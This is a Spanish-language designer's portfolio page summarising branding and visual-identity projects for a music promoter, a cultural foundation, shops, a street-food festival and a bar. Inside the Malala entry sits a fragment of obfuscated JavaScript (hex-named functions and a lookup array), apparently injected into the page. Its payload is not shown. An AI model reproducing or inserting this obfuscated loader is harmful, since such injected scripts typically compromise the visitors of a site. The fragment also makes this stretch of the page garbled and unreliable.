LAST TOUR // REBRANDING
LAST TOUR // REBRANDING
Identidad Visual, Más recientes
Last Tour era una promotora musical madre de los principales festivales en Euskadi (BBK Live, Azkena, BIME, etc). Pero ha ido evolucionando y creciendo para convertirse en mucho más: un agente social y cultural que ofrece servicios como la formación, la edición, la consultoría… y por supuesto la promoción de eventos, artistas y salas, siempre con el toque Last Tour.
Independientes, innovadores y con carácter propio. Así es Last Tour y había que adecuar su Identidad Visual a este nuevo status, más adulto y ambicioso.
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KREATIBO INDUSTRIAK FUNDAZIOA // IDENTIDAD VISUAL
KREATIBO INDUSTRIAK FUNDAZIOA // IDENTIDAD VISUAL
Arte, Identidad Visual, Más recientes
Una nueva fundación nacida para aportar, colaborar, crear. La industria creativa (en todas sus vertientes) tiene que ser sostenible y justa para tod@s, y para eso estamos aquí. Generar conocimiento, impulsar nuevas iniciativas, ayudar a talentos emergentes a encontrar su lugar, dar voz a quienes lo tienen complicado.
La identidad visual de esta fundación se creó en base a dos ejes: accesibilidad y versatilidad. Tenía que ser una identidad adaptable a mil y un contextos (institucionales, arties, académicos, jóvenes y no tan jóvenes, en varios idiomas…), y siempre resultar cautivadora y modernita.
Un continente con estilo propio para todo tipo de contenidos artísticos.
Por cierto, ellos me pidieron una “K” para el logo (K de Kultura), y yo se la hice, pero en otra dimensión.
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MALALA // IDENTIDAD VISUAL
MALALA // IDENTIDAD VISUAL
Arte, Identidad Visual, Más recientes
MALALA es una nueva tienda de complementos en Almería. Necesitaban crear la marca desde cero: nombre, logo y tagline. Buscábamos una imagen versátil, femenina y fresca, que pudiera adaptarse perfectamente a un estilo novia o a uno más rock.
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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INSPIRALIFE
INSPIRALIFE
Arte, Identidad Visual
Inspiralife es un concepto. Una empresa joven y con mucha iniciativa, que cree en una ciudad más habitable y en un way of life más sano y en armonía. Su propuesta es todo un abanico de actividades relacionadas con el yoga, el deporte y el wellness, tanto a pie de calle como en una cocina o un Riad de Marruecos.
Luz, paz, buen rollo y actividad. Una Identidad Visual fresca y apetecible, con clase, moderna y accesible.
un trabajo en desarrollo del que esperamos grandes aplicaciones.
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PASSAGE PRIVÉ // RESTYLING IDENTIDAD VISUAL
PASSAGE PRIVÉ // RESTYLING IDENTIDAD VISUAL
Identidad Visual
Amigos y clientes desde hace tiempo, necesitaban un lavado de cara que estuviera a la altura de su evolución como marca. Si buscáis muebles y objetos que una vez fueron lo más, aquí podréis comprobar que siguen siéndolo.
Partiendo de su antiguo logo, hemos depurado las formas y limpiado las líneas para que respire… otra cosa. Passage Privé ha crecido. Le hemos añadido el apellido como parte del logo, porque ganamos en presencia y porque nos sirve como recurso gráfico, que nos recuerda, inevitablemente, a aquellos antiguos modernos, que diseñaron cosas que siempre serían tendencia.
Las tarjetas acaban de salir del horno. Por supuesto, impresas como antes: a una tinta y en sutil letterpress. ¡Y el toque de color del canto nos encanta!
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KIKI MARKET // COLMADO ORGÁNICO
KIKI MARKET // COLMADO ORGÁNICO
Arte, Identidad Visual
Kiki es más que una tienda, es una manera de entender y vivir la comida. El logo ya estaba creado, pero había que vestirlo un poco y bajarlo a diversas aplicaciones que siguieran el concepto.
Para ello creamos el claim ORGANIC MOOD y arropamos todo con un color más en sintonía y unos recursos gráficos amables y “rústicos”. KIKI es gourmet, pero también llenarse de barro las botas al ir al huerto.
Papeles naturales, letterpress, el toque artesanal…
Este trabajo sigue creciendo y evolucionando…
www.kiki-market.com
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CONTRAVAN // IDENTIDAD VISUAL
CONTRAVAN // IDENTIDAD VISUAL
Arte, Identidad Visual
CONTRAVAN STREET FOOD FESTIVAL se creo en pleno apogeo de la fiebre foodtruck, pero con la idea de enriquecer y hacer evolucionar la propuesta que existía hasta entonces. Para empezar había un gran concepto detrás, especialmente creado para la ciudad de Valencia. Por eso el logo se ideó pensando en aquellos bandoleros de la zona, que comían de camino, bajo cualquier sombra, y sirviéndose de su herramienta de trabajo. Lo que es comer en la calle, vaya ;)
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MOTORA
MOTORA
Arte, Identidad Visual
Yo soy MOTORA. Por qué MOTORA? Porque siempre me ha gustado la sonoridad y sobre todo la rotundidad de esta palabra. Y gráficamente, me encanta. Es… muy potente. Y me gusta la M como monograma, quizá no es lo más original, hay mil y un referencias, pero [M]e da igual. Y quería un logo mutante, un logo que siempre fuese el mismo y siempre diferente, según un criterio aleatorio, porque a veces se agradece un poco de libre albedrío, y la verdad, con uno mismo, más.
…Y como soy zurda, pues le he cortado la mano derecha a la M, que la uso poco, y así le doy un poco de personalidad…
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AFIT // PARAFARMACIA
AFIT // PARAFARMACIA
Identidad Visual
Queríamos mantener el estilo limpio y profesional que debe poseer la marca de una farmacia, pero en este caso AFIT quería resaltar valores más humanos, más de cercanía con sus clientes, así que el logo debía ser más cercano, cálido y amable.
Este trabajo está en proceso de desarrollo, todavía las aplicaciones están en el horno…
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COMPORTA // BAR & RESTAURANTE
COMPORTA // BAR & RESTAURANTE
Arte, Fotografía, Identidad Visual
Un local de tapas/copas en el barrio de Salamanca en Madrid. Con un público exigente y moderno, que reclama un lugar de encuentro acogedor, con los detalles muy cuidados, original y con calidad. La idea era que el logo hablara de los servicios y del tipo de bar, con un toque vintage, que respondiera a lo que luego te ibas a encontrar.
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